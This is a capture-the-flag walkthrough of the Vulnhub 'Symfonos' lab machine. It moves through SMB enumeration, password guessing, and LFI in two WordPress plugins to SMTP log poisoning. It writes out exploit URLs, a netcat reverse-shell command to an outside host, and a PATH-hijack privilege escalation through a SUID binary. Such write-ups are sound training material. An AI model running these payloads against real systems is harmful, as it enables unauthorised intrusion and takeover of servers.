# Vulnhub-Symfonos
## Rustscan
```bash
22/tcp open ssh OpenSSH 7.4p1 Debian 10+deb9u6 (protocol 2.0)
| ssh-hostkey:
| 2048 ab:5b:45:a7:05:47:a5:04:45:ca:6f:18:bd:18:03:c2 (RSA)
| 256 a0:5f:40:0a:0a:1f:68:35:3e:f4:54:07:61:9f:c6:4a (ECDSA)
|_ 256 bc:31:f5:40:bc:08:58:4b:fb:66:17:ff:84:12:ac:1d (ED25519)
25/tcp open smtp Postfix smtpd
|_smtp-commands: symfonos.localdomain, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, ENHANCEDSTATUSCODES, 8BITMIME, DSN, SMTPUTF8,
| ssl-cert: Subject: commonName=symfonos
| Subject Alternative Name: DNS:symfonos
| Not valid before: 2019-06-29T00:29:42
|_Not valid after: 2029-06-26T00:29:42
|_ssl-date: TLS randomness does not represent time
80/tcp open http Apache httpd 2.4.25 ((Debian))
|_http-server-header: Apache/2.4.25 (Debian)
|_http-title: Site doesn't have a title (text/html).
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open netbios-ssn Samba smbd 4.5.16-Debian (workgroup: WORKGROUP)
MAC Address: 08:00:27:41:21:96 (Oracle VirtualBox virtual NIC)
Service Info: Hosts: symfonos.localdomain, SYMFONOS; OS: Linux; CPE: cpe:/o:linux:linux_kernel
```
## PROT 139/445 (SMB)
I ran `smbmap` to see on which shares I have read access as anonmyous user
So we only have read access to `anomyous`share
We can see there a text so let's download it using `GET`
This looks like some potential passwords we can use when brute forcing we also have a username `zeus`
Let's run `enum4linux-ng` to enumerate for users
We only get one user `helios`
## PORT 80 (HTTP)
On the web server we see this weird image
There's nothing in the source either , so I started to fuzz for files and directories using `dirsearch`
But found nothing , so brute forcing is the last resort this is what I'll be doing , we have a username so we could try to brute force against those 3 passwords , if that fails I'll move to rockyou.txt
It failed so let's try these 3 passwords on smb as `helios`
The first password failed but the second worked and we can access his share now
After reading `todo.txt` we get a hidden directory
So this is a wordpress site but the css isn't loaded , we can fix it by seeing where it's grabbing the css file from
We need to add a domain `symfonos.local` in `/etc/hosts` file
Now it looks better so let's enumerate the wordpress site for that I am going to use `wpscan`
We have a user `admin` so we could do brute forcing for his password
Also I'll run a scan for enumerating plugins being used on the wordpress site
We can see two plugins , `mail-masta` and `site-editor`, first I am going to search on mail-masta for any exploits
And it seems we found a LFI vulnerability exploit in mail-masta
Let's give it a try in reading `/etc/passwd` file through LFI
And boom we got LFI vulnerability here
The other plugin is also vulnerable to LFI
Now we know there that port 25 which is smtp is open so we could see if we could poision it's log files ,so visiting hacktricks I found that it's possible
```
http://symfonos.local/h3l105/wp-content/plugins/site-editor/editor/extensions/pagebuilder/includes/ajax_shortcode_pattern.php?ajax_path=/var/mail/helios
```
We can read the logs so it's possbile, I followed this article in order to do smtp log poisioning
https://liberty-shell.com/sec/2018/05/19/poisoning/
The sender's mail is just I saw from the logs so I putted there but that important thing to note here is the subject we are putting which is the GET paramtere being executed as shell command. Now if add a paramter along the path of log file
```
http://symfonos.local/h3l105/wp-content/plugins/site-editor/editor/extensions/pagebuilder/includes/ajax_shortcode_pattern.php?ajax_path=/var/mail/helios&pwn=id
```
So let's just get a shell with `netcat`
```
http://symfonos.local/h3l105/wp-content/plugins/site-editor/editor/extensions/pagebuilder/includes/ajax_shortcode_pattern.php?ajax_path=/var/mail/helios&hello=nc 192.168.1.2 2222 -e /bin/bash
```
Now we check if we have permissions to run any command as sudo with `sudo -l`
No sudo : \
Let's check for any SUID binaries
We found `/opt/statuscheck`. On running the binary it results to making a request
Let's further analyze the binary if strings is installed on the machine
It is available so we can see what the binary is doing
The binary is using a command `curl http://localhost` so we can exploit PATH variable here by making a fake curl binary include `bash` there and including that binary in the PATH variable
However if we run it , we won't get a root shell
I then tried to make bash a SUID
It gave me an error, so I was not sure why this wasn't working, so I then just removed the shebang line
Ran it again
And boom we have made bash a SUID